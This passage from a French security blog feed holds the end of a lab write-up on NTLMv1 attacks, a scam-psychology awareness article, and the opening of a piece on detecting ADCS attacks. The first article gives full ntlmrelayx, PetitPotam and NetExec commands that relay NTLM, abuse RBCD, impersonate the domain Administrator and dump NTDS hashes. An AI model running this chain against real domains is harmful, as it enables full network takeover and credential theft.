<p>Par cette méthode, le mot de passe a pu être retrouvé en un peu plus de 4 minutes depuis une machine dédiée à cette tâche.</p>
<p><img src="https://cdn.prod.website-files.com/66b4f677818acbec83587b15/688b50cbcaf75f7074295b30_688b508eccbeb036f9d56ad8_HashCatBFCrack.png" alt /></p>
<p>Cassage du mot de passe par force brute</p>
<p>‍</p>
<p>Le temps de casse varie en fonction de la puissance de la machine et surtout de la longueur/complexité du mot de passe. Un mot de passe <strong>vraiment</strong> fort ne sera jamais trouvé par cette technique.</p>
<h2 id="heading-34-drop-the-mic"><strong>3.4. Drop The Mic</strong></h2>
<p>Comme expliqué dans l’article précédent, <strong>la version 1</strong> du protocole NTLM permet la suppression du MIC, garant de l’intégrité des requêtes de l’authentification via NTLM.</p>
<p>De ce fait, il est possible de modifier à notre convenance toute requête avant de la relayer.</p>
<p>Cela rend possibles les attaques suivantes : nous avons vu précédemment que l’on pouvait répondre aux requêtes NTLM en étant placé en position de <strong>man-in-the-middle</strong>. Il est également possible de modifier et relayer ces requêtes.</p>
<p>Pour ce faire nous pouvons utiliser <strong>NTLMRelayX.</strong></p>
<p>La suppression du MIC permet notamment de relayer une authentification NTLM initiée depuis le protocole SMB, vers le protocole LDAP. C’est cette vulnérabilité que nous allons exploiter par la suite.</p>
<p>‍</p>
<p>Le relais de <strong>SMB</strong> vers <strong>SMB</strong> reste possible sans la suppression du <strong>MIC</strong>. Cela permet d’autres types d’attaques, mais nécessite que :</p>
<ul>
<li><p>la signature sur SMB soit désactivée coté serveur</p>
</li>
<li><p>le compte relayé possède des privilèges spécifiques sur la machine (accès à des partages réseaux, droits d’administration, …).</p>
</li>
</ul>
<p>‍</p>
<p>Les attaques décrites dans les chapitres suivants utilisent le relais d’un utilisateur sans droits particuliers.</p>
<p>‍</p>
<h2 id="heading-55-enumeration-active-directory"><strong>5.5. Énumération Active Directory</strong></h2>
<p>La commande suivante permet de relayer une requête NTLM vers un contrôleur de domaine, après avoir supprimé le contrôle d’intégrité (MIC).</p>
<p>Nous choisissons le protocole <strong>LDAP</strong> pour destination afin d’énumérer les actifs de l’environnement Active Directory (liste des utilisateurs, groupes, machines, descriptions, GPO, …).</p>
<pre><code class="lang-bash">ntlmrelayx -t ldap://192.168.56.10 --remove-mic -smb2support -l lootdir
</code></pre>
<p>Explication des paramètres :</p>
<ul>
<li><p>-t ldap://192.168.56.10 : la cible du relais. Ici le contrôleur de domaine sur le protocole LDAP</p>
</li>
<li><p>--remove-mic : supprime le contrôle d’intégrité (MIC)</p>
</li>
<li><p>-smb2support : supporte la version 2 du protocole SMB pour les requêtes entrantes</p>
</li>
<li><p>-l lootdir : le répertoire de sortie des informations extraites de l’Active Directory</p>
</li>
</ul>
<p>Lors du relais d’une requête, NTLMRelayX nous affiche les informations suivantes :</p>
<p><img src="https://cdn.prod.website-files.com/66b4f677818acbec83587b15/688b50cbcaf75f7074295b26_688b506accbeb036f9d54310_DumpADInfo.png" alt /></p>
<p>Extraction des informations ActiveDirectory</p>
<p>‍</p>
<p>Encadrées en rouge, les différentes actions effectuées par NtlmRealyx :</p>
<ol>
<li><p>Réception de la requête d’authentification de la machine 192.168.56.107</p>
</li>
<li><p>Relai de l’authentification vers le contrôleur de domaine, via le protocole LDAP</p>
</li>
<li><p>Vérification des permissions de l’utilisateur (ici, un simple utilisateur)</p>
</li>
<li><p>Extraction des informations de l’Active Directory</p>
</li>
</ol>
<p>Voici quelques exemples des informations extraites par ntlmrelayx dans le répertoire loot :</p>
<p>‍</p>
<p><img src="https://cdn.prod.website-files.com/66b4f677818acbec83587b15/688b4c16e849715bc9e18a30_688b4c0347a8e29d068a873b_dmp3.png" alt /></p>
<p>Extraction de la politique de mot de passe du domaine</p>
<p>‍</p>
<p><img src="https://cdn.prod.website-files.com/66b4f677818acbec83587b15/688b4d1ecd4eda05eb51ac7f_688b4c96e849715bc9e2004e_dump2.png" alt /></p>
<p>Extraction des groupes du domaine</p>
<p>‍</p>
<p><img src="https://cdn.prod.website-files.com/66b4f677818acbec83587b15/688b4d1ecd4eda05eb51ac82_688b4d0dc88dd1490810fe05_Dump1.png" alt /></p>
<p>Extrcation des utilisateurs du domaine</p>
<p>‍</p>
<p>Avec ces informations, un attaquant a une vision beaucoup plus claire de l’environnement dans lequel il se trouve.</p>
<p>On remarque que le champ LDAP <strong>description</strong> des comptes est également extrait. Il n’est pas rare d’y trouver des mots de passe.</p>
<h2 id="heading-36-ajout-dun-compte-au-domaine"><strong>3.6. Ajout d’un compte au domaine</strong></h2>
<p>Par défaut, un compte utilisateur même sans privilège, est autorisé à ajouter 10 machines au domaine. Cela signifie qu’il peut créer 10 comptes machines. Il s’agit de comptes qui peuvent être utilisés comme des utilisateurs standards.</p>
<p>En utilisant une nouvelle fois <strong>NTLMRelayX</strong>, il est possible de relayer une authentification pour créer un tel compte. Cela permet à un attaquant d’obtenir un accès au domaine légitime, avec un identifiant et un mot de passe.</p>
<pre><code class="lang-bash">ntlmrelayx -t ldap://192.168.56.10 --remove-mic -smb2support --add-computer <span class="hljs-string">'newMachineAccount$'</span> <span class="hljs-string">'Eddf5eFF.zefZ58585qst'</span>
</code></pre>
<p>Explication des paramètres :</p>
<ul>
<li><p>--add-computer : permet l’ajout d’un compte machine</p>
</li>
<li><p>'newMachineAccount$' : le nom du compte à ajouter</p>
</li>
<li><p>'Eddf5eFF.zefZ58585qst' : le mot de passe du compte à ajouter</p>
</li>
</ul>
<p><img src="https://cdn.prod.website-files.com/66b4f677818acbec83587b15/688b4e1acebe4b3078d2f982_688b4db94439adb37b533ce1_createComputer.png" alt /></p>
<p>Ajout d'un compte machine au domaine Active Directory</p>
<p>‍</p>
<p>On remarque qu’après les étapes de relais, le compte machine <strong>newMachineAccount$</strong> est créé dans le conteneur <strong>Computers</strong>, avec le mot de passe <strong>Eddf5eFF.zefZ58585qst.</strong></p>
<p>Il est maintenant possible de s’authentifier au domaine avec ce compte :</p>
<p><img src="https://cdn.prod.website-files.com/66b4f677818acbec83587b15/688b4e9bcebe4b3078d377b5_688b4e53ccbeb036f9d36108_MAConnection.png" alt /></p>
<p>Connexion au domaine avec le compte machine</p>
<p>‍</p>
<p>Avec un compte dans le domaine, un attaquant est en mesure de continuer l’énumération Active Directory (en utilisant des outils comme <strong>Bloodhound</strong> par exemple) afin de lister les vulnérabilités qui pourraient s’y trouver (ACL, ADCS, …).</p>
<h2 id="heading-37-rbcd"><strong>3.7. RBCD</strong></h2>
<p>Maintenant que nous possédons un compte utilisateur du domaine, nous allons pouvoir l’utiliser pour forcer un contrôleur de domaine (DC01) à effectuer une authentification (toujours en NTLMv1) vers notre machine. Cette étape s'appelle la <strong>Coerce.</strong></p>
<p>Nous pourrons relayer cette authentification vers un autre contrôleur de domaine (DC02).</p>
<p>Nous allons alors être en mesure d’écrire dans le champ LDAP <strong>msDS-AllowedToActOnBehalfOfOtherIdentity</strong> du compte machine relayé (DC01).</p>
<p>Ce champ autorise le compte machine qui y est inscrit à se connecter via Kerberos à la machine relayée (DC01) au nom de n’importe quel compte du domaine, non protégé contre la délégation.</p>
<p>Il s’agit d’un mécanisme de délégation intégré à Active Directory, connu sous le nom de Resource-based Constrained Delegation (RBCD).</p>
<p>Un compte machine possède les droits nécessaires pour modifier son propre champ LDAP <strong>msDS-AllowedToActOnBehalfOfOtherIdentity</strong>. Pour ça, il doit se connecter via le protocole LDAP sur un contrôleur de domaine. C’est l’attaque que nous allons mettre en place :</p>
<p><strong>DC01</strong> va se connecter sur <strong>DC02</strong> via LDAP pour ajouter le compte machine <strong>newMachineAccount$</strong> à son champ <strong>msDS-AllowedToActOnBehalfOfOtherIdentity.</strong></p>
<p>Le compte machine <strong>newMachineAccount$</strong> possèdera ainsi les droits nécessaires pour se connecter au nom de n’importe quel utilisateur (non protégé contre la délégation) à <strong>DC01.</strong></p>
<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text">Il n'est pas possible de relayer une machine vers elle-même. C’est la raison pour laquelle un deuxième contrôleur de domaine est nécessaire à la réussite de cette attaque.</div>
</div>

<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text">Des recherches récentes ont permis de découvrir de nouvelles vulnérabilités permettant le relais d’une machine vers elle-même (CVE-2025-33073).</div>
</div>

<h2 id="heading-371-coerce"><strong>3.7.1. Coerce</strong></h2>
<p>Commençons par forcer <strong>DC01</strong> à s’authentifier auprès de notre machine.</p>
<p>Pour cela, nous allons utiliser le script <a target="_blank" href="http://PetitPotam.py">PetitPotam.py</a>. Dans la majorité des cas, cette attaque nécessite un compte du domaine (si les contrôleurs de domaine sont à jour). Ça tombe bien, nous en avons créé un : le compte machine <strong>newMachineAccount$.</strong></p>
<pre><code class="lang-bash">PetitPotam -u <span class="hljs-string">'newMachineAccount$'</span> -p <span class="hljs-string">'Eddf5eFF.zefZ58585qst'</span> -d hardening.lab 192.168.56.112 192.168.56.10
</code></pre>
<p>‍</p>
<p>Explication des paramètres :</p>
<ul>
<li><p>-u 'newMachineAccount$' : nom du compte à utiliser pour la connexion à la cible</p>
</li>
<li><p>-p 'Eddf5eFF.zefZ58585qst' : mot de passe du compte</p>
</li>
<li><p>-d hardening.lab : domaine du compte</p>
</li>
<li><p>168.56.112 : la machine vers laquelle l’authentification sera effectuée (machine de l’attaquant)</p>
</li>
<li><p>168.56.10 : la machine qui va s’authentifier (la cible, ici DC01)</p>
</li>
</ul>
<p><img src="https://cdn.prod.website-files.com/66b4f677818acbec83587b15/688b4f51ccbeb036f9d45ab7_688b4ee9ccbeb036f9d3f17d_petitpotam.png" alt /></p>
<p>Coerce avec PetitPotam.</p>
<p>‍</p>
<p>Si on relance Responder (avant l'exécution de PetitPotam), on voit bien l’authentification arriver sur notre machine. Celle-ci est faite depuis le contrôleur de domaine en NTLMv1.</p>
<p><img src="https://cdn.prod.website-files.com/66b4f677818acbec83587b15/688b4f51ccbeb036f9d45ab4_688b4f3e222ebb41f38438a6_DC01NTLMv1.png" alt /></p>
<p>Authentification de DC01 en NTLMv1</p>
<p>Nous avons ainsi vérifié que toutes les conditions sont réunies pour lancer l’attaque.</p>
<h2 id="heading-372-allowedtoactonbehalfofotheridentity"><strong>3.7.2. AllowedToActOnBehalfOfOtherIdentity</strong></h2>
<p>Après avoir stopé <strong>Responder</strong> (il écoute sur le port 445 et <strong>NtlmRelayx</strong> a besoin d’écouter sur ce port), on relance <strong>NtlmRelayX</strong> avec les options suivantes, permettant l’ajout de notre compte machine au champ <strong>msDS-AllowedToActOnBehalfOfOtherIdentity :</strong></p>
<pre><code class="lang-bash">ntlmrelayx -t ldap://192.168.56.20 --remove-mic -smb2support --delegate-access --escalate-user <span class="hljs-string">'newMachineAccount$'</span>
</code></pre>
<p>Explication des paramètres :</p>
<ul>
<li><p>-t ldap://168.56.20 : machine vers laquelle relayer l’authentification (ici DC02)</p>
</li>
<li><p>--delegate-access : active l’ajout d’un compte dans le champ LDAP msDS-AllowedToActOnBehalfOfOtherIdentity</p>
</li>
<li><p>--escalate-user 'newMachineAccount$' : le compte à ajouter au champ LDAP</p>
</li>
</ul>
<p>Après avoir exécuté cette commande, on relance <strong>PetitPotam</strong> et on observe le résultat dans ntlmrelayx :</p>
<p><img src="https://cdn.prod.website-files.com/66b4f677818acbec83587b15/688b4fa0e849715bc9e4d439_688b4f83cd4eda05eb53212d_RBCDNtlmrelayx.png" alt /></p>
<p>RBCD via NTLMRelayX</p>
<p>‍</p>
<p>On voit bien que l’authentification de <strong>DC01</strong> (192.168.56.10) est relayée sur LDAP vers <strong>DC02</strong> (192.168.56.20). Puis que <strong>NtlmRelayX</strong> utilise cette connexion pour ajouter les droits RBCD à <strong>newMachineAccount$</strong> sur <strong>DC01.</strong></p>
<h2 id="heading-373-connexion-au-domaine"><strong>3.7.3. Connexion au domaine</strong></h2>
<p>Les étapes suivantes consistent à utiliser cette délégation pour générer un ticket de service Kerberos au nom de n’importe quel utilisateur non protégé contre la délégation.</p>
<p>Par défaut, tous les utilisateurs qui ne sont pas présents dans le groupe Protected Users ne sont pas protégés. En ciblant le bon service (par exemple cifs) nous pourrions utiliser ce ticket pour nous connecter à <strong>DC01</strong> en tant que l’utilisateur ainsi usurpé (un compte administrateur). Ceci entrainerait la compromission du contrôleur de domaine et donc de tout le domaine Active Directory.</p>
<p>Les développeurs de <strong>NetExec</strong> (et notamment l’ami Zblurx) ont automatisé toutes ces étapes pour nous.</p>
<p>La commande suivante utilise le compte machine <strong>newMachineAccount$</strong> pour se connecter à <strong>DC01</strong> en tant que l’utilisateur <strong>Administrateur.</strong></p>
<pre><code class="lang-bash">nxc smb dc01.hardening.lab-u <span class="hljs-string">'newMachineAccount$'</span> -p <span class="hljs-string">'Eddf5eFF.zefZ58585qst'</span> -d hardening.lab --delegate Administrateur -k
</code></pre>
<p>‍</p>
<p>Explication des paramètres :</p>
<ul>
<li><p>--delegate Administrateur : automatise les étapes nécessaires à l’usurpation du compte administrateur</p>
</li>
<li><p>-k : utiliser l’authentification Kerberos</p>
</li>
</ul>
<p>‍</p>
<p><img src="https://cdn.prod.website-files.com/66b4f677818acbec83587b15/688b50cbcaf75f7074295b22_688b4e11ccbeb036f9d32a73_AdminDelegated.png" alt /></p>
<p>Utilisation de RBCD pour se connecter en tant qu'Administrateur à DC01</p>
<p>‍</p>
<p>L’inscription Admin! en jaune montre que nous avons les privilèges maximums sur la machine DC01.</p>
<p>Le contrôleur de domaine et ainsi le domaine sont compromis.</p>
<h2 id="heading-374-extraction-ntds"><strong>3.7.4. Extraction NTDS</strong></h2>
<p>Avec les droits maximums sur un contrôleur de domaine, on est en mesure d’extraire la base NTDS qui contient l’ensemble des comptes du domaine ainsi que leurs hashs.  </p>
<p>Une nouvelle fois, NetExec peut se charger de cette opération.</p>
<pre><code class="lang-bash">nxc smb 192.168.56.10 -u <span class="hljs-string">'newMachineAccount'</span> -p <span class="hljs-string">'Eddf5eFF.zefZ58585qst'</span> -d hardening.lab --delegate Administrateur --ntds -k
</code></pre>
<p>‍</p>
<p>Explication des paramètres :</p>
<ul>
<li>--ntds : lance l’extraction de la base NTDS du domaine</li>
</ul>
<p>‍</p>
<p><img src="https://cdn.prod.website-files.com/66b4f677818acbec83587b15/688b50cbcaf75f7074295b29_688b5033ccbeb036f9d5021e_DumpNTDS.png" alt /></p>
<p>Extraction de la base NTDS du domaine hardening.lab</p>
<p>Le domaine est maintenant totalement compromis puisque nous sommes en possession des identifiants de l’ensemble des ressources de celui-ci.</p>
<p>Pour rappel : seul le hash du mot de passe est nécessaire pour effectuer une connexion NTLM. Il n’est donc pas utile de casser les hashs ainsi récupérés pour en obtenir les mots de passe en clair.</p>
<p>‍</p>
<h1 id="heading-4-conclusion">4. Conclusion</h1>
<p>Les attaques décrites dans cet article ne représentent qu’une partie des exploitations possible du protocole NTLM en version 1.</p>
<p>Nous avons vu qu’il était possible de compromettre l’ensemble du domaine sans nécessiter de privilèges préalables, et ce uniquement en exploitant des configurations Active Directory par défaut avec NTLMv1.</p>
<p>Cet article montre pourquoi il est urgent d'en finir avec cette version obsolète du protocole NTLM.</p>
<p>Le prochain article sera dédié aux remédiations à mettre en place et à la maitrise des impacts éventuels qu’elles pourraient engendrer.</p>
]]></content:encoded></item><item><title><![CDATA[L'Ingénierie Sociale au service des arnaques financières : Les facteurs sociaux]]></title><description><![CDATA[Les arnaques financières ne reposent pas uniquement sur la technologie, mais sur une fine compréhension de la psychologie humaine. Biais cognitifs, pression sociale, illusion de contrôle… Les cybercriminels manipulent nos décisions bien avant de vole...]]></description><link>https://blog.login-securite.com/lingenierie-sociale-au-service-des-arnaques-financieres-les-facteurs-sociaux</link><guid isPermaLink="true">https://blog.login-securite.com/lingenierie-sociale-au-service-des-arnaques-financieres-les-facteurs-sociaux</guid><dc:creator><![CDATA[Login Sécurité]]></dc:creator><pubDate>Mon, 04 Aug 2025 11:48:31 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/MJSFNZ8BAXw/upload/8eda1a0ed7b43c63b635f2c8e7666478.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Les arnaques financières ne reposent pas uniquement sur la technologie, mais sur une fine compréhension de la psychologie humaine. Biais cognitifs, pression sociale, illusion de contrôle… Les cybercriminels manipulent nos décisions bien avant de voler nos données. Dans cet article, découvrez comment ces mécanismes nous piègent — et comment s’en protéger efficacement.</p>
<p>Les arnaques financières exploitent des mécanismes psychologiques profonds qui altèrent notre capacité à prendre des décisions rationnelles. Les cybercriminels combinent stratégies d’ingénierie sociale et manipulation cognitive pour piéger leurs victimes. Pourquoi ces fraudes sont-elles si efficaces ? Qui est le plus vulnérable ? Comment les identifier et s'en protéger ?</p>
<p>Dans ce premier chapitre, voyons en quoi les facteurs sociaux exercent une influence dans nos prises de décision, dans notre évaluation du risque.</p>
<h1 id="heading-les-cles-psychologiques-des-arnaques-financieres"><strong>Les Clés Psychologiques des Arnaques Financières</strong></h1>
<p>Les cybercriminels utilisent plusieurs biais cognitifs et stratégies pour pousser leurs cibles à agir sans réfléchir. Pour se faire ils s’appuient sur 4 angles d’attaques liés au biais cognitif et émotionnel; à l’environnement, et aux facteurs sociaux.</p>
<p>Voyons ce dernier en détail.</p>
<h2 id="heading-facteurs-sociaux"><strong>Facteurs sociaux</strong></h2>
<p>Nous sommes des êtres sociaux, instinctivement programmés pour faire confiance, coopérer et rechercher l’approbation des autres. Ce besoin fondamental, qui nous a permis d’évoluer en tant qu’espèce, devient <strong>une faille exploitable</strong> entre de mauvaises mains.  </p>
<p>Les cybercriminels le savent : plus une information semble validée par un groupe, plus elle nous paraît crédible. Plus une offre semble rare et convoitée, plus nous sommes enclins à la saisir. Plus nous avons l’impression d’être en contrôle, plus nous abaissons notre vigilance.  </p>
<p>Ces mécanismes, bien que naturels, nous rendent vulnérables aux stratégies d’ingénierie sociale qui exploitent nos biais et notre besoin d’appartenance. Comprendre ces ressorts psychologiques, c’est reprendre le pouvoir face aux manipulateurs.</p>
<h3 id="heading-le-biais-de-rarete-et-le-fomo-fear-of-missing-out"><strong>Le biais de rareté et le FOMO (Fear of Missing Out)</strong></h3>
<p>Avez-vous déjà reçu un message du type <em>"Offre exclusive, valable 24h seulement !"</em> ou <em>"Dernière chance d’investir avant la hausse des prix !"</em> ; <em>« Opportunité unique réservée aux 100 premiers inscrits ! »</em> ? Vous êtes face au FOMO, ou la peur de rater une opportunité.<br />‍</p>
<p><img src="https://cdn.prod.website-files.com/66b4f677818acbec83587b15/67f54c5aaea4ea985841f528_fear-missing-out-concept-with-phone_23-2148655710.jpeg" alt="Fear of missing out avec un téléphone FOMO" /></p>
<p>FOMO : Fear Of Missing Out</p>
<p><strong>Le FOMO</strong>, est un piège psychologique puissant. Il exploite notre aversion à la perte : nous préférons agir sous pression plutôt que de risquer un manque à gagner. Mais ce sentiment d'urgence est souvent une illusion savamment orchestrée.</p>
<p>Les escrocs savent que face à une "occasion en or", nous rationalisons moins et agissons plus vite. Ils utilisent des techniques de manipulation éprouvées :</p>
<ul>
<li><p>Création d’une rareté artificielle : <em>"Seulement 5 places restantes !"</em></p>
</li>
<li><p>Deadline fictive : <em>"Offre valable jusqu’à minuit !"</em></p>
</li>
<li><p>Faux témoignages : <em>"J’ai gagné 10 000€ en une semaine grâce à cette méthode !"</em></p>
</li>
</ul>
<p>Dans le monde financier, ce biais est un outil redoutable :</p>
<ul>
<li><p><strong>Les ICO frauduleuses</strong> (levées de fonds en cryptomonnaies), où seuls les "premiers investisseurs" feraient fortune.</p>
</li>
<li><p><strong>Les scams boursiers</strong>, où l'on vous assure que les retardataires perdront leur chance de profit.</p>
</li>
<li><p><strong>Les faux investissements immobiliers</strong>, avec des offres "réservées aux membres VIP".</p>
</li>
</ul>
<p>Un principe simple pour éviter le piège ? Si une offre est légitime aujourd’hui, elle le sera encore demain. Ne laissez personne dicter votre timing.</p>
<h3 id="heading-leffet-bandwagon-effet-de-masse"><strong>L’effet Bandwagon (effet de masse)</strong></h3>
<p>"Tout le monde investit dans cette cryptomonnaie !" ; "98% des utilisateurs recommandent ce placement !"</p>
<p>La force du nombre est un levier psychologique redoutable. Plus une idée semble populaire, plus nous avons tendance à la suivre, sans même la questionner. Ce biais est ancré en nous : nous nous fions à la majorité pour prendre des décisions, surtout face à une incertitude. Les arnaqueurs en abusent sans scrupules.</p>
<p>Ils créent une illusion de confiance et de succès en manipulant l’information :</p>
<ul>
<li><p>Faux témoignages vantant des profits astronomiques.</p>
</li>
<li><p>Avis positifs truqués sur les forums et les réseaux sociaux.</p>
</li>
<li><p>Armées de bots inondant Internet de messages enthousiastes.</p>
</li>
</ul>
<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text">Résultat ? Un sentiment d’urgence et de crédibilité artificielle apparaissent. Si tout le monde le fait, cela doit être une bonne opportunité, non ? <strong>Faux</strong>. C’est justement là que réside le piège</div>
</div>

<p>Dans l’univers des cryptomonnaies, cette technique est utilisée à grande échelle :</p>
<ul>
<li><p><strong>Fausses ICO</strong> (nous l’avons vu) où les premiers entrants font semblant de réussir pour attirer de nouveaux investisseurs.</p>
</li>
<li><p><strong>Pump &amp; Dump</strong> , où un groupe fait grimper artificiellement la valeur d’un actif avant de le revendre brutalement, laissant les nouveaux venus ruinés.</p>
</li>
<li><p><strong>Influenceurs rémunérés,</strong> qui valident et recommandent des escroqueries sans jamais investir eux-mêmes.</p>
</li>
</ul>
<p>Ne confondez pas popularité et légitimité. Une masse de commentaires positifs ne garantit pas qu’une offre est réelle. Toujours vérifier, toujours douter...    </p>
<h3 id="heading-le-besoin-de-gratification-immediate"><strong>Le besoin de gratification immédiate</strong></h3>
<p><img src="https://cdn.prod.website-files.com/66b4f677818acbec83587b15/67f54e86b36c50d2cf89c152_public-approval-theme-illustration_52683-32128.jpeg" alt="Public approval theme for illustration" /></p>
<blockquote>
<p><strong><em>"Gagnez 500€ en quelques minutes grâce à cette méthode secrète !"</em></strong></p>
</blockquote>
<p>Qui ne voudrait pas connaître une méthode rapide pour gagner de l’argent ?</p>
<p>Le cerveau humain préfère les récompenses immédiates aux bénéfices à long terme. Attendre, analyser, comparer ? Trop fatigant. Les escrocs l'ont compris et nous tendent un piège irrésistible : promettre de l’argent rapide et facile.</p>
<p>Ce type d’arnaque repose sur des mécanismes bien rodés :</p>
<ul>
<li><p><strong>Systèmes pyramidaux et schémas Ponzi</strong> : les premiers investisseurs gagnent… jusqu’à ce que l’argent des nouveaux entrants ne suffise plus à alimenter le système.</p>
</li>
<li><p><strong>Plateformes de trading frauduleuses</strong> : affichant de faux gains pour inciter à réinvestir, jusqu'à ce que tout disparaisse d’un coup.</p>
</li>
<li><p><strong>Paris financiers truqués</strong> : où l’on vous laisse gagner un peu au début, juste assez pour vous appâter… avant de tout vous faire perdre.</p>
</li>
</ul>
<p>Leur stratégie ? Vous donnez l’illusion du succès immédiat pour vous piéger plus profondément. Une mise initiale faible, quelques gains fictifs, et vous voilà accro.</p>
<p><strong>Alors ayez ce fameux réflexe de survie :</strong></p>
<ul>
<li><p>Si ça semble trop beau pour être vrai… c’est que ça l’est.</p>
</li>
<li><p>Ne vous fiez jamais aux témoignages "authentiques", ils sont souvent falsifiés.</p>
</li>
<li><p>Vérifiez toujours si la plateforme est régulée et reconnue par des organismes officiels.</p>
</li>
</ul>
<p>Ne laissez pas l’illusion de l’argent facile guider vos décisions. Les seuls qui s’enrichissent vraiment dans ces systèmes… ce sont les escrocs.</p>
<h3 id="heading-leffet-benjamin-franklin"><strong>L’effet Benjamin Franklin</strong></h3>
<p>« Pouvez-vous m’aider avec un petit service ? », « Votez pour moi sur ce site, cela ne prend que 2 secondes ! »</p>
<p>Nous avons une tendance surprenante : aider quelqu’un nous pousse à l’apprécier davantage. Ce biais psychologique, identifié par Benjamin Franklin, est une arme redoutable pour les escrocs.</p>
<p>Et voici leur stratégie, elle est simple : créer un lien de confiance progressif :</p>
<ul>
<li><p>Une demande innocente et anodine comme partager un lien, remplir un questionnaire, voter pour eux…</p>
</li>
<li><p>Une sollicitation plus personnelle : Vous demander des informations sensibles ("juste votre email" ou "seulement votre numéro de téléphone").</p>
</li>
<li><p>Une exigence financière masquée : Un "petit virement de validation" ou un "test de transaction".</p>
</li>
<li><p>L’arnaque totale : Une pression croissante pour des virements plus conséquents.</p>
</li>
</ul>
<p>Cette arnaque est fréquente dans :</p>
<ul>
<li><p><strong>Fraudes à l’investissement</strong> : "Testez avec 10€, puis 100€, puis 1000€..."</p>
</li>
<li><p><strong>Escroqueries sentimentales</strong> : "Je suis en difficulté, peux-tu m’avancer un peu d’argent ?"</p>
</li>
<li><p><strong>Vols de comptes</strong> : "Peux-tu partager ce code de vérification que tu viens de recevoir ?"</p>
</li>
</ul>
<p><strong>Pour se protéger :</strong></p>
<ul>
<li><p>Ne jamais sous-estimer une petite demande : elle peut être le premier pas d’une manipulation.</p>
</li>
<li><p>Ne partagez jamais d’informations personnelles, même "banales".</p>
</li>
<li><p>Soyez méfiant face aux demandes répétées et progressives.</p>
</li>
</ul>
<p>N’oubliez pas qu’un petit service peut vite devenir un grand piège.</p>
<p>‍</p>
<h3 id="heading-lillusion-de-controle"><strong>L’Illusion de Contrôle</strong></h3>
<p>« Avec notre plateforme sécurisée, vous gardez le contrôle total de vos investissements. » ; « Gérez vos fonds en toute autonomie, sans intermédiaire ! »</p>
<p>Nous avons un besoin fondamental de nous sentir maîtres de nos décisions. Ce biais psychologique nous pousse à croire que nous contrôlons une situation, même lorsque chaque étape est en réalité orchestrée par des manipulateurs.</p>
<p><strong>Des plateformes de trading frauduleuses</strong></p>
<p>Elles affichent des statistiques truquées et de faux profits pour vous donner l’impression que vous faites les bons choix.</p>
<p><strong>Des applications d’investissement fictives</strong></p>
<p>L’argent "augmente" à l’écran… mais reste en réalité inaccessible.</p>
<p><strong>Des faux conseillers financiers</strong></p>
<p>Ils vous donnent l’illusion du choix, tout en vous orientant vers une seule et unique option : celle qui les enrichit.<br />‍</p>
<p>Cette technique est courante dans le domaine de la finance ; ainsi :</p>
<ul>
<li><p><strong>En crypto-arnaques</strong> : "Vous gérez votre portefeuille librement"… jusqu’à ce que les fonds disparaissent.</p>
</li>
<li><p><strong>En forex frauduleux</strong> : "Tradez en toute autonomie"… sur une plateforme où tout est manipulé.</p>
</li>
<li><p><strong>Sur les sites d’arnaques aux influenceurs</strong> : "Vous choisissez vos collaborations"… alors qu’elles sont orchestrées pour maximiser leur emprise.</p>
</li>
</ul>
<p><strong>Comment se protéger ?</strong></p>
<ul>
<li><p>Ne pas se fier aux interfaces séduisantes : ce n’est pas parce que vous voyez des gains affichés qu’ils sont réels.</p>
</li>
<li><p>Toujours tester les retraits : une plateforme qui empêche ou retarde un retrait est un signal d’alerte.</p>
</li>
<li><p>Éviter les sites qui insistent sur "l’autonomie" pour masquer un manque de transparence.</p>
</li>
</ul>
<p>L’illusion de contrôle est l’une des armes les plus subtiles de la manipulation financière. Ne tombez pas dans le piège.</p>
<p>‍</p>
<h1 id="heading-pour-finir"><strong>Pour finir</strong></h1>
<p>Les escrocs ne sont pas seulement de bons techniciens, ce sont avant tout des experts en psychologie. En comprenant nos instincts sociaux, nous pouvons apprendre à détecter ces stratégies et réagir avec prudence.</p>
<ul>
<li><p>Méfiez-vous des offres trop belles pour être vraies.</p>
</li>
<li><p>Prenez le temps de vérifier les sources et de croiser les informations.</p>
</li>
<li><p>Ne laissez pas la pression sociale ou l'urgence dicter vos décisions.</p>
</li>
</ul>
<p>‍</p>
<p>Partager ces connaissances, c’est se protéger soi-même et aider les autres à ne pas tomber dans le piège. Alors, prêts à déjouer les arnaques ?</p>
<p>Ne laissez pas les fraudeurs jouer avec votre esprit !</p>
<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text"><strong>Chez Login Sécurité</strong> nous avons développé <strong>des audits de vulnérabilité humaine et des formations avancées</strong> pour identifier et neutraliser ces techniques de manipulation. Vous êtes une entreprise ? <strong>Évaluez dès maintenant</strong> votre exposition aux attaques d’ingénierie sociale.</div>
</div>

<blockquote>
<p><strong>Contactez-nous dès aujourd’hui</strong> pour un audit ou une session de formation : <a target="_blank" href="mailto:contact@login-securite.com"><strong>contact@login-securite.com</strong></a></p>
</blockquote>
]]></content:encoded></item><item><title><![CDATA[Détection des attaques ADCS - Détection de ESC1 et ESC3]]></title><description><![CDATA[Maintenant que l'audit ADCS est en place, il est temps de passer à la pratique. Ce guide vous montre comment reproduire les attaques ESC1 et ESC3 à partir de modèles de certificats volontairement vulnérables, et comment les détecter grâce aux logs d'...]]></description><link>https://blog.login-securite.com/detection-des-attaques-adcs-detection-de-esc1-et-esc3</link><guid isPermaLink="true">https://blog.login-securite.com/detection-des-attaques-adcs-detection-de-esc1-et-esc3</guid><dc:creator><![CDATA[Login Sécurité]]></dc:creator><pubDate>Mon, 04 Aug 2025 11:48:22 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1754245789698/9f1d09b5-d37e-4545-a6ce-2e9412281bd3.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Maintenant que l'audit ADCS est en place, il est temps de passer à la pratique. Ce guide vous montre comment reproduire les attaques ESC1 et ESC3 à partir de modèles de certificats volontairement vulnérables, et comment les détecter grâce aux logs d'événements Windows.</p>
